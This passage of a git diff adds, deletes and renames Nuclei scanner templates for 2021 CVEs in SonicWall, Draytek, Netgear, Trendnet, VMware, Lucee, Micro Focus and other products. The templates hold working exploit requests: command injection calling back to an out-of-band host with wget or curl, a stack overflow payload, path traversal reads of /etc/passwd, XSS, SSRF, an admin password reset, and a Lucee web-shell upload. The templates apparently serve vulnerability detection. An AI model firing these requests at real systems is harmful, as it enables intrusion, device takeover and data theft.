/storfs-asup HTTP/1.1 + Host: {{Hostname}} + Accept: */* + Content-Type: application/x-www-form-urlencoded + + action=&token=`wget http://{{interactsh-url}}`&mode=`wget http://{{interactsh-url}}` + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + part: interactsh_protocol # Confirms the HTTP Interaction + words: + - "http" diff --git a/nuclei-templates/CVE-2021/cve-2021-20038.yaml b/nuclei-templates/CVE-2021/cve-2021-20038.yaml deleted file mode 100644 index 3a7571a379..0000000000 --- a/nuclei-templates/CVE-2021/cve-2021-20038.yaml +++ /dev/null @@ -1,42 +0,0 @@ -id: CVE-2021-20038 - -info: - name: SonicWall SMA100 Stack BoF to Unauthenticated RCE - author: dwisiswant0, jbaines-r7 - severity: critical - description: | - A Stack-based buffer overflow vulnerability in SMA100 - Apache httpd server's mod_cgi module environment variables - allows a remote unauthenticated attacker to potentially - execute code as a 'nobody' user in the appliance. - This vulnerability affected SMA 200, 210, 400, 410 and 500v - appliances firmware 10.2.0.8-37sv, 10.2.1.1-19sv, - 10.2.1.2-24sv and earlier versions. - reference: - - https://attackerkb.com/topics/QyXRC1wbvC/cve-2021-20038/rapid7-analysis - tags: cve,cve2021,overflow,rce,sonicwall - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2021-20038 - cwe-id: CWE-787 - -requests: - - raw: - - | - GET /{{prefix_addr}}{{system_addr}};{wget,http://{{interactsh-url}}};{{prefix_addr}}{{system_addr}};{wget,http://{{interactsh-url}}};?{{repeat("A", 518)}} HTTP/1.1 - Host: {{Hostname}} - - attack: clusterbomb - payloads: - prefix_addr: - - "%04%d7%7f%bf%18%d8%7f%bf%18%d8%7f%bf" # stack's top address - system_addr: - - "%08%b7%06%08" # for 10.2.1.2-24sv - - "%64%b8%06%08" # for 10.2.1.1-1[79]sv - - matchers: - - type: word - part: interactsh_protocol # Confirms the HTTP Interaction - words: - - "http" \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/cve-2021-20123.yaml b/nuclei-templates/CVE-2021/cve-2021-20123.yaml deleted file mode 100644 index 521afdd869..0000000000 --- a/nuclei-templates/CVE-2021/cve-2021-20123.yaml +++ /dev/null @@ -1,58 +0,0 @@ -id: CVE-2021-20123 - -info: - name: Draytek VigorConnect 1.6.0-B - Local File Inclusion - author: 0x_Akoko - severity: high - description: | - Draytek VigorConnect 1.6.0-B3 is susceptible to local file inclusion in the file download functionality of the DownloadFileServlet endpoint. An unauthenticated attacker could leverage this vulnerability to download arbitrary files from the underlying operating system with root privileges. - impact: | - Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure. - remediation: | - Apply the latest security patches or updates provided by the vendor to fix the LFI vulnerability in Draytek VigorConnect 1.6.0-B. - reference: - - https://www.tenable.com/security/research/tra-2021-42 - - https://nvd.nist.gov/vuln/detail/CVE-2021-20123 - - https://github.com/ARPSyndicate/kenzer-templates - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2021-20123 - cwe-id: CWE-22 - epss-score: 0.03354 - epss-percentile: 0.91162 - cpe: cpe:2.3:a:draytek:vigorconnect:1.6.0:beta3:*:*:*:*:*:* - metadata: - verified: true - max-request: 2 - vendor: draytek - product: vigorconnect - shodan-query: http.html:"VigorConnect" - tags: cve2021,cve,draytek,lfi,vigorconnect,tenable - -http: - - method: GET - path: - - "{{BaseURL}}/ACSServer/DownloadFileServlet?show_file_name=../../../../../../etc/passwd&type=uploadfile&path=anything" - - "{{BaseURL}}/ACSServer/DownloadFileServlet?show_file_name=../../../../../../windows/win.ini&type=uploadfile&path=anything" - - stop-at-first-match: true - - matchers-condition: and - matchers: - - type: word - part: header - words: - - "application/octet-stream" - - - type: regex - part: body - regex: - - "root:.*:0:0:" - - "for 16-bit app support" - condition: or - - - type: status - status: - - 200 -# digest: 490a00463044022062fbdc0055a5e3028d6b0fc1cd8d72136f750008795a0f5fa47bed7b03f7d2ae0220630d19cd162113ec4c1fab558f6170e0f964f3b697b287d62f4807ed37a54c4e:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/cve-2021-20124.yaml b/nuclei-templates/CVE-2021/cve-2021-20124.yaml deleted file mode 100644 index 30bd740de0..0000000000 --- a/nuclei-templates/CVE-2021/cve-2021-20124.yaml +++ /dev/null @@ -1,57 +0,0 @@ -id: CVE-2021-20124 - -info: - name: Draytek VigorConnect 6.0-B3 - Local File Inclusion - author: 0x_Akoko - severity: high - description: Draytek VigorConnect 1.6.0-B3 is susceptible to local file inclusion in the file download functionality of the WebServlet endpoint. An unauthenticated attacker could leverage this vulnerability to download arbitrary files from the underlying operating system with root privileges. - impact: | - Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, potential data leakage, and further compromise of the affected system. - remediation: | - Apply the latest security patches or updates provided by Draytek to fix the LFI vulnerability in VigorConnect 6.0-B3. - reference: - - https://www.tenable.com/security/research/tra-2021-42 - - https://www.draytek.com/products/vigorconnect/ - - https://nvd.nist.gov/vuln/detail/CVE-2021-20124 - - https://github.com/ARPSyndicate/kenzer-templates - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2021-20124 - cwe-id: CWE-22 - epss-score: 0.01331 - epss-percentile: 0.85744 - cpe: cpe:2.3:a:draytek:vigorconnect:1.6.0:beta3:*:*:*:*:*:* - metadata: - verified: true - max-request: 2 - vendor: draytek - product: vigorconnect - shodan-query: http.html:"VigorConnect" - tags: cve2021,cve,draytek,lfi,vigorconnect,tenable - -http: - - method: GET - path: - - "{{BaseURL}}/ACSServer/WebServlet?act=getMapImg_acs2&filename=../../../../../../../etc/passwd" - - "{{BaseURL}}/ACSServer/WebServlet?act=getMapImg_acs2&filename=../../../../../../../windows/win.ini" - - stop-at-first-match: true - - matchers-condition: and - matchers: - - type: word - part: header - words: - - "application/octet-stream" - - - type: regex - regex: - - "root:.*:0:0:" - - "for 16-bit app support" - condition: or - - - type: status - status: - - 200 -# digest: 490a0046304402201b3f1f755c121ccb9a251c16ad6e7453fc09afe729910ba0627eaa855d04e7f70220147595c2aad515d0ffa806be04849a7530d35e3b15e3b587f301e54c4b30f9da:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/cve-2021-20137.yaml b/nuclei-templates/CVE-2021/cve-2021-20137.yaml deleted file mode 100644 index 48573f859d..0000000000 --- a/nuclei-templates/CVE-2021/cve-2021-20137.yaml +++ /dev/null @@ -1,53 +0,0 @@ -id: CVE-2021-20137 - -info: - name: Gryphon Tower - Cross-Site Scripting - author: edoardottt - severity: medium - description: Gryphon Tower router web interface contains a reflected cross-site scripting vulnerability in the url parameter of the /cgi-bin/luci/site_access/ page. An attacker can exploit this issue by tricking a user into following a specially crafted link, granting the attacker JavaScript execution in the victim's browser. - impact: | - Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website. - remediation: | - Upgrade to the latest version to mitigate this vulnerability. - reference: - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-20137 - - https://www.tenable.com/security/research/tra-2021-51 - - https://nvd.nist.gov/vuln/detail/CVE-2021-20137 - - https://github.com/ARPSyndicate/kenzer-templates - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2021-20137 - cwe-id: CWE-79 - epss-score: 0.24456 - epss-percentile: 0.96515 - cpe: cpe:2.3:o:gryphonconnect:gryphon_tower_firmware:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: gryphonconnect - product: gryphon_tower_firmware - tags: cve2021,cve,xss,tenable,gryphon,gryphonconnect - -http: - - method: GET - path: - - "{{BaseURL}}/cgi-bin/luci/site_access/?url=%22%20onfocus=alert(document.domain)%20autofocus=1" - - matchers-condition: and - matchers: - - type: word - part: header - words: - - "text/html" - - - type: word - part: body - words: - - 'onfocus=alert(document.domain) autofocus=1>' - - 'Send Access Request URL' - condition: and - - - type: status - status: - - 200 -# digest: 4b0a00483046022100f59adf2060e9bd5cd6778f48d141f1bd0ac128d97a8dde7e931d4f3135d0e887022100f9c874e8c0cc7c2e23d9bd5f892e66fb4e28e818ba92abb6ccc29c10c845173e:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/cve-2021-20158.yaml b/nuclei-templates/CVE-2021/cve-2021-20158.yaml new file mode 100644 index 0000000000..cea4234f03 --- /dev/null +++ b/nuclei-templates/CVE-2021/cve-2021-20158.yaml @@ -0,0 +1,53 @@ +id: CVE-2021-20158 + +info: + name: Trendnet AC2600 TEW-827DRU - Unauthenticated Admin Password Change + author: gy741 + severity: critical + description: Trendnet AC2600 TEW-827DRU version 2.08B01 contains an authentication bypass vulnerability. It is possible for an unauthenticated, malicious actor to force change the admin password due to a hidden administrative command. + reference: + - https://www.tenable.com/security/research/tra-2021-54 + - https://nvd.nist.gov/vuln/detail/CVE-2021-20150 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2021-20158 + cwe-id: CWE-287 + metadata: + shodan-query: http.html:"TEW-827DRU" + tags: cve,cve2021,trendnet,disclosure,router,intrusive,dos + +requests: + - raw: + - | + POST /apply_sec.cgi HTTP/1.1 + Host: {{Hostname}} + + ccp_act=set&action=tools_admin_elecom&html_response_page=dummy_value&html_response_return_page=dummy_value&method=tools&admin_password=nuclei + - | + POST /apply_sec.cgi HTTP/1.1 + Host: {{Hostname}} + + html_response_page=%2Flogin_pic.asp&login_name=YWRtaW4%3D&log_pass=bnVjbGVp&action=do_graph_auth&login_n=admin&tmp_log_pass=&graph_code=&session_id= + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + part: body + words: + - 'setConnectDevice' + - 'setInternet' + - 'setWlanSSID' + - 'TEW-827DRU' + condition: and + + - type: word + part: header + words: + - "text/html" + +# Enhanced by cs on 2022/02/25 diff --git a/nuclei-templates/CVE-2021/cve-2021-20167.yaml b/nuclei-templates/CVE-2021/cve-2021-20167.yaml new file mode 100644 index 0000000000..e5021fb617 --- /dev/null +++ b/nuclei-templates/CVE-2021/cve-2021-20167.yaml @@ -0,0 +1,32 @@ +id: CVE-2021-20167 + +info: + name: Netgear RAX43 - Unauthenticated Command Injection / Authentication Bypass Buffer Overrun via LAN Interface + author: gy741 + severity: critical + description: This vulnerability uses a combination of CVE-2021-20166 and CVE-2021-20167. Netgear RAX43 version 1.0.3.96 contains a command injection and authbypass vulnerability. The readycloud cgi application is vulnerable to command injection in the name parameter. and The URL parsing functionality in the cgi-bin endpoint of the router containers a buffer overrun issue that can redirection control flow of the applicaiton. + reference: + - https://www.tenable.com/security/research/tra-2021-55 + - https://nvd.nist.gov/vuln/detail/CVE-2021-20166 + - https://nvd.nist.gov/vuln/detail/CVE-2021-20167 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2021-20167 + cwe-id: CWE-94 + tags: cve,cve2021,netgear,rce,router + +requests: + - raw: + - | + POST /cgi-bin/readycloud_control.cgi?1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111/api/users HTTP/1.1 + Host: {{Hostname}} + + "name":"';$(curl http://{{interactsh-url}});'", + "email":"a@b.c" + + matchers: + - type: word + part: interactsh_protocol + words: + - "http" diff --git a/nuclei-templates/CVE-2021/cve-2021-21287.yaml b/nuclei-templates/CVE-2021/cve-2021-21287.yaml new file mode 100644 index 0000000000..0a31bb7afe --- /dev/null +++ b/nuclei-templates/CVE-2021/cve-2021-21287.yaml @@ -0,0 +1,39 @@ +id: CVE-2021-21287 + +info: + name: MinIO Browser API SSRF + author: pikpikcu + severity: high + description: MinIO is a High Performance Object Storage released under Apache License v2.0. In MinIO before version RELEASE.2021-01-30T00-20-58Z there is a server-side request forgery vulnerability. + reference: + - https://github.com/minio/minio/security/advisories/GHSA-m4qq-5f7c-693q + - https://www.leavesongs.com/PENETRATION/the-collision-of-containers-and-the-cloud-pentesting-a-MinIO.html + - https://nvd.nist.gov/vuln/detail/CVE-2021-21287 + tags: cve,cve2021,minio,ssrf,oast + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N + cvss-score: 7.70 + cve-id: CVE-2021-21287 + cwe-id: CWE-918 + +requests: + - raw: + - | + POST /minio/webrpc HTTP/1.1 + Host: {{interactsh-url}} + Content-Type: application/json + User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36 + Content-Length: 76 + + {"id":1,"jsonrpc":"2.0","params":{"token": "Test"},"method":"web.LoginSTS"} + + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol + words: + - "http" # Confirms the HTTP Interaction + + - type: word + words: + - "We encountered an internal error" \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/cve-2021-21307.yaml b/nuclei-templates/CVE-2021/cve-2021-21307.yaml new file mode 100644 index 0000000000..53b683b142 --- /dev/null +++ b/nuclei-templates/CVE-2021/cve-2021-21307.yaml @@ -0,0 +1,85 @@ +id: CVE-2021-21307 + +info: + name: Remote Code Exploit in Lucee Admin + author: dhiyaneshDk + severity: critical + description: Lucee Server is a dynamic, Java based (JSR-223), tag and scripting language used for rapid web application development. In Lucee Admin before versions 5.3.7.47, 5.3.6.68 or 5.3.5.96 there is an unauthenticated remote code exploit. This is fixed in versions 5.3.7.47, 5.3.6.68 or 5.3.5.96. As a workaround, one can block access to the Lucee Administrator. + reference: + - https://github.com/lucee/Lucee/security/advisories/GHSA-2xvv-723c-8p7r + - https://github.com/httpvoid/writeups/blob/main/Apple-RCE.md + - https://nvd.nist.gov/vuln/detail/CVE-2021-21307 + tags: cve,cve2021,rce,lucee,adobe + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2021-21307 + cwe-id: CWE-862 + +requests: + - raw: + - | + POST /lucee/admin/imgProcess.cfm?file=/whatever HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + imgSrc=a + - | + POST /lucee/admin/imgProcess.cfm?file=/../../../context/{{randstr}}.cfm HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + imgSrc= + + + + + + + +
    Command:value="#form.cmd#">
    Options: value="#form.opts#">
    Timeout: value="#form.timeout#" + value="5">
    + + + + + + + + 
    +        #HTMLCodeFormat(myVar)#
+
    +     + + + - | + POST /lucee/{{randstr}}.cfm HTTP/1.1 + Host: {{Hostname}} + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 + Content-Type: application/x-www-form-urlencoded + + cmd=id&opts=&timeout=5 + + matchers-condition: and + matchers: + - type: word + words: + - "uid=" + - "gid=" + - "groups=" + part: body + condition: and + + - type: status + status: + - 200 + + extractors: + - type: regex + regex: + - "(u|g)id=.*" \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/cve-2021-21802.yaml b/nuclei-templates/CVE-2021/cve-2021-21802.yaml deleted file mode 100644 index 28e27e9668..0000000000 --- a/nuclei-templates/CVE-2021/cve-2021-21802.yaml +++ /dev/null @@ -1,37 +0,0 @@ -id: CVE-2021-21802 - -info: - name: Advantech R-SeeNet device_id parameter - Reflected Cross-Site Scripting (XSS) - author: gy741 - severity: medium - description: This vulnerability is present in device_graph_page.php script, which is a part of the Advantech R-SeeNet web applications. A specially crafted URL by an attacker and visited by a victim can lead to arbitrary JavaScript code execution. - reference: https://talosintelligence.com/vulnerability_reports/TALOS-2021-1272 - tags: cve,cve2021,rseenet,xss - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 - cve-id: CVE-2021-21802 - cwe-id: CWE-79 - -requests: - - method: GET - path: - - '{{BaseURL}}/php/device_graph_page.php?device_id=%22zlo%20onerror=alert(1)%20%22' - - matchers-condition: and - matchers: - - type: word - words: - - '"zlo onerror=alert(1) "' - - 'Device Status Graph' - part: body - condition: and - - - type: word - part: header - words: - - text/html - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2021/cve-2021-21803.yaml b/nuclei-templates/CVE-2021/cve-2021-21803.yaml deleted file mode 100644 index 90f9485519..0000000000 --- a/nuclei-templates/CVE-2021/cve-2021-21803.yaml +++ /dev/null @@ -1,37 +0,0 @@ -id: CVE-2021-21803 - -info: - name: Advantech R-SeeNet is2sim parameter - Reflected Cross-Site Scripting (XSS) - author: gy741 - severity: medium - description: This vulnerability is present in device_graph_page.php script, which is a part of the Advantech R-SeeNet web applications. A specially crafted URL by an attacker and visited by a victim can lead to arbitrary JavaScript code execution. - reference: https://talosintelligence.com/vulnerability_reports/TALOS-2021-1272 - tags: cve,cve2021,rseenet,xss - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 - cve-id: CVE-2021-21803 - cwe-id: CWE-79 - -requests: - - method: GET - path: - - '{{BaseURL}}/php/device_graph_page.php?is2sim=%22zlo%20onerror=alert(1)%20%22' - - matchers-condition: and - matchers: - - type: word - words: - - '"zlo onerror=alert(1) "' - - 'Device Status Graph' - part: body - condition: and - - - type: word - part: header - words: - - text/html - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2021/cve-2021-21973.yaml b/nuclei-templates/CVE-2021/cve-2021-21973.yaml new file mode 100644 index 0000000000..bc9b558c36 --- /dev/null +++ b/nuclei-templates/CVE-2021/cve-2021-21973.yaml @@ -0,0 +1,38 @@ +id: CVE-2021-21973 + +info: + name: VMware vCenter Unauthenticated SSRF + author: pdteam + severity: medium + description: The vSphere Client (HTML5) contains an SSRF (Server Side Request Forgery) vulnerability due to improper validation of URLs in a vCenter Server plugin. A malicious actor with network access to port 443 may exploit this issue by sending a POST request to vCenter Server plugin leading to information disclosure. This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2). + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2021-21973 + - https://twitter.com/osama_hroot/status/1365586206982082560 + - https://twitter.com/bytehx343/status/1486582542807420928 + tags: cve,cve2021,vmware,ssrf,vcenter,oast + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N + cvss-score: 5.30 + cve-id: CVE-2021-21973 + cwe-id: CWE-918 + +requests: + - raw: + - | + GET /ui/vropspluginui/rest/services/getvcdetails HTTP/1.1 + Host: {{Hostname}} + Vcip: {{interactsh-url}} + Vcpassword: {{rand_base(6)}} + Vcusername: {{rand_base(6)}} + Reqresource: {{rand_base(6)}} + + matchers-condition: and + matchers: + - type: status + status: + - 500 + + - type: word + part: body + words: + - "The server sent HTTP status code 200" \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/CVE-2021-21975.yaml b/nuclei-templates/CVE-2021/cve-2021-21975.yaml similarity index 100% rename from nuclei-templates/CVE-2021/CVE-2021-21975.yaml rename to nuclei-templates/CVE-2021/cve-2021-21975.yaml diff --git a/nuclei-templates/CVE-2021/CVE-2021-21978.yaml b/nuclei-templates/CVE-2021/cve-2021-21978.yaml similarity index 100% rename from nuclei-templates/CVE-2021/CVE-2021-21978.yaml rename to nuclei-templates/CVE-2021/cve-2021-21978.yaml diff --git a/nuclei-templates/CVE-2021/cve-2021-22005.yaml b/nuclei-templates/CVE-2021/cve-2021-22005.yaml new file mode 100644 index 0000000000..03f06672dc --- /dev/null +++ b/nuclei-templates/CVE-2021/cve-2021-22005.yaml @@ -0,0 +1,40 @@ +id: CVE-2021-22005 + +info: + name: VMware vCenter Server file upload vulnerability + author: PR3R00T + severity: critical + description: The vCenter Server contains an arbitrary file upload vulnerability in the Analytics service. VMware has evaluated the severity of this issue to be in the Critical severity range with a maximum CVSSv3 base score of 9.8. + reference: + - https://kb.vmware.com/s/article/85717 + - https://www.vmware.com/security/advisories/VMSA-2021-0020.html + - https://core.vmware.com/vmsa-2021-0020-questions-answers-faq + tags: cve,cve2021,vmware,vcenter,upload + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2021-22005 + cwe-id: CWE-434 + +requests: + - raw: + - | + GET / HTTP/1.1 + Host: {{Hostname}} + + - | + POST /analytics/telemetry/ph/api/hyper/send?_c&_i=test HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/json + + test_data + + req-condition: true + matchers: + - type: dsl + dsl: + - "status_code_1 == 200" + - "status_code_2 == 201" + - "contains(body_1, 'VMware vSphere')" + - "content_length_2 == 0" + condition: and diff --git a/nuclei-templates/CVE-2021/cve-2021-22054.yaml b/nuclei-templates/CVE-2021/cve-2021-22054.yaml new file mode 100644 index 0000000000..e96b40f597 --- /dev/null +++ b/nuclei-templates/CVE-2021/cve-2021-22054.yaml @@ -0,0 +1,47 @@ +id: CVE-2021-22054 + +info: + name: VMWare Workspace ONE UEM - Server-Side Request Forgery + author: h1ei1 + severity: high + description: VMware Workspace ONE UEM console 20.0.8 prior to 20.0.8.37, 20.11.0 prior to 20.11.0.40, 21.2.0 prior to 21.2.0.27, and 21.5.0 prior to 21.5.0.37 contain a server-side request forgery vulnerability. This issue may allow a malicious actor with network access to UEM to send their requests without authentication and to gain access to sensitive information. + impact: | + An attacker can exploit this vulnerability to send crafted requests to internal resources, potentially leading to unauthorized access or information disclosure. + remediation: | + Apply the necessary patches or updates provided by VMWare to fix the vulnerability. + reference: + - https://blog.assetnote.io/2022/04/27/vmware-workspace-one-uem-ssrf/ + - https://www.vmware.com/security/advisories/VMSA-2021-0029.html + - https://nvd.nist.gov/vuln/detail/CVE-2021-22054 + - https://github.com/fardeen-ahmed/Bug-bounty-Writeups + - https://github.com/nomi-sec/PoC-in-GitHub + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2021-22054 + cwe-id: CWE-918 + epss-score: 0.74813 + epss-percentile: 0.98065 + cpe: cpe:2.3:a:vmware:workspace_one_uem_console:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: vmware + product: workspace_one_uem_console + fofa-query: banner="/AirWatch/default.aspx" || header="/AirWatch/default.aspx" + tags: cve2021,cve,vmware,workspace,ssrf + +http: + - method: GET + path: + - "{{BaseURL}}/Catalog/BlobHandler.ashx?Url=YQB3AGUAdgAyADoAawB2ADAAOgB4AGwAawBiAEoAbwB5AGMAVwB0AFEAMwB6ADMAbABLADoARQBKAGYAYgBHAE4ATgBDADUARQBBAG0AZQBZAE4AUwBiAFoAVgBZAHYAZwBEAHYAdQBKAFgATQArAFUATQBkAGcAZAByAGMAMgByAEUAQwByAGIAcgBmAFQAVgB3AD0A" + + matchers-condition: and + matchers: + - type: word + words: + - "Interactsh Server" + + - type: status + status: + - 200 +# digest: 4a0a004730450221008cded273bebf41eff90732aed8ea7da8aa14ca8124eaa2032d424ca27e56d6e7022079f5f692df095ec9105de7a2f9449144593cfd651fe28038d367431e92871cc8:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/cve-2021-22122.yaml b/nuclei-templates/CVE-2021/cve-2021-22122.yaml deleted file mode 100644 index 83ca4f6d61..0000000000 --- a/nuclei-templates/CVE-2021/cve-2021-22122.yaml +++ /dev/null @@ -1,32 +0,0 @@ -id: CVE-2021-22122 - -info: - name: FortiWeb v6.3.x-6.2.x Unauthenticated XSS - author: dwisiswant0 - severity: medium - description: | - An improper neutralization of input during web page generation in FortiWeb GUI interface 6.3.0 through 6.3.7 and version before 6.2.4 may allow an unauthenticated, - remote attacker to perform a reflected cross site scripting attack (XSS) by injecting malicious payload in different vulnerable API end-points. - reference: - - https://www.fortiguard.com/psirt/FG-IR-20-122 - - https://twitter.com/ptswarm/status/1357316793753362433 - tags: cve,cve2021,fortiweb,xss - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 - cve-id: CVE-2021-22122 - cwe-id: CWE-79 - -requests: - - method: GET - path: - - "{{BaseURL}}/error3?msg=30&data=';alert('nuclei');//" - - "{{BaseURL}}/omni_success?cmdb_edit_path=\");alert('nuclei');//" - matchers-condition: and - matchers: - - type: word - words: - - "nuclei" - - "No policy has been chosen." - condition: and - part: body diff --git a/nuclei-templates/CVE-2021/cve-2021-22502.yaml b/nuclei-templates/CVE-2021/cve-2021-22502.yaml new file mode 100644 index 0000000000..cb68b9daba --- /dev/null +++ b/nuclei-templates/CVE-2021/cve-2021-22502.yaml @@ -0,0 +1,63 @@ +id: CVE-2021-22502 + +info: + name: Micro Focus Operations Bridge Reporter - Remote Code Execution + author: pikpikcu + severity: critical + description: | + Micro Focus Operations Bridge Reporter 10.40 is susceptible to remote code execution. An attacker can potentially execute malware, obtain sensitive information, modify data, and/or execute unauthorized operations without entering necessary credentials. + remediation: | + Apply the latest security patches or updates provided by Micro Focus to mitigate this vulnerability. + reference: + - https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBR.md + - https://softwaresupport.softwaregrp.com/doc/KM03775947 + - https://www.zerodayinitiative.com/advisories/ZDI-21-153/ + - https://nvd.nist.gov/vuln/detail/CVE-2021-22502 + - https://www.zerodayinitiative.com/advisories/ZDI-21-154/ + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2021-22502 + cwe-id: CWE-78 + epss-score: 0.95993 + epss-percentile: 0.99434 + cpe: cpe:2.3:a:microfocus:operation_bridge_reporter:10.40:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: microfocus + product: operation_bridge_reporter + tags: cve2021,cve,microfocus,obr,rce,kev + +http: + - raw: + - | + POST /AdminService/urest/v1/LogonResource HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/json + + {"userName":"something `wget {{interactsh-url}}`","credential":"whatever"} + + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol + words: + - "http" + - "dns" + + - type: word + part: body + words: + - "An error occurred" + - "AUTHENTICATION_FAILED" + condition: and + + - type: word + part: header + words: + - "application/json" + + - type: status + status: + - 401 +# digest: 4b0a00483046022100ed38ca4d38ee6a8827ce0cb424c58a1c6f7273942f72850e30a51a47a8ced4e80221009e6de8be7a1e2e0bca9cba77fac3f7d24b41648cf318f9678bc391420570f366:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/CVE-2021-23241.yaml b/nuclei-templates/CVE-2021/cve-2021-23241.yaml similarity index 100% rename from nuclei-templates/CVE-2021/CVE-2021-23241.yaml rename to nuclei-templates/CVE-2021/cve-2021-23241.yaml diff --git a/nuclei-templates/CVE-2021/cve-2021-24291.yaml b/nuclei-templates/CVE-2021/cve-2021-24291.yaml new file mode 100644 index 0000000000..d5501bff21 --- /dev/null +++ b/nuclei-templates/CVE-2021/cve-2021-24291.yaml @@ -0,0 +1,36 @@ +id: CVE-2021-24291 + +info: + name: Photo Gallery < 1.5.69 - Multiple Reflected Cross-Site Scripting (XSS) + author: geeknik + description: The plugin was vulnerable to Reflected Cross-Site Scripting (XSS) issues via the gallery_id, tag, album_id and theme_id GET parameters passed to the bwg_frontend_data AJAX action (available to both unauthenticated and authenticated users) + reference: https://wpscan.com/vulnerability/cfb982b2-8b6d-4345-b3ab-3d2b130b873a + severity: medium + tags: cve,cve2021,xss,wordpress,wp-plugin,photo + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2021-24291 + cwe-id: CWE-79 + +requests: + - method: GET + path: + - '{{BaseURL}}/wp-admin/admin-ajax.php?action=bwg_frontend_data&shortcode_id=1"%20onmouseover=alert(document.domain)//' + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + part: header + words: + - "text/html" + + - type: word + words: + - "onmouseover=alert(document.domain)//" + - "wp-content/uploads/photo-gallery" + condition: and diff --git a/nuclei-templates/CVE-2021/CVE-2021-25281.yaml b/nuclei-templates/CVE-2021/cve-2021-25281.yaml similarity index 100% rename from nuclei-templates/CVE-2021/CVE-2021-25281.yaml rename to nuclei-templates/CVE-2021/cve-2021-25281.yaml diff --git a/nuclei-templates/CVE-2021/cve-2021-25646.yaml b/nuclei-templates/CVE-2021/cve-2021-25646.yaml deleted file mode 100644 index ca14cbb326..0000000000 --- a/nuclei-templates/CVE-2021/cve-2021-25646.yaml +++ /dev/null @@ -1,80 +0,0 @@ -id: CVE-2021-25646 - -info: - name: Apache Druid RCE - author: pikpikcu - severity: high - reference: https://paper.seebug.org/1476/ - description: | - Apache Druid is a column-oriented open source distributed data storage written in Java, designed to quickly obtain large amounts of event data and provide low-latency queries on the data. - Apache Druid 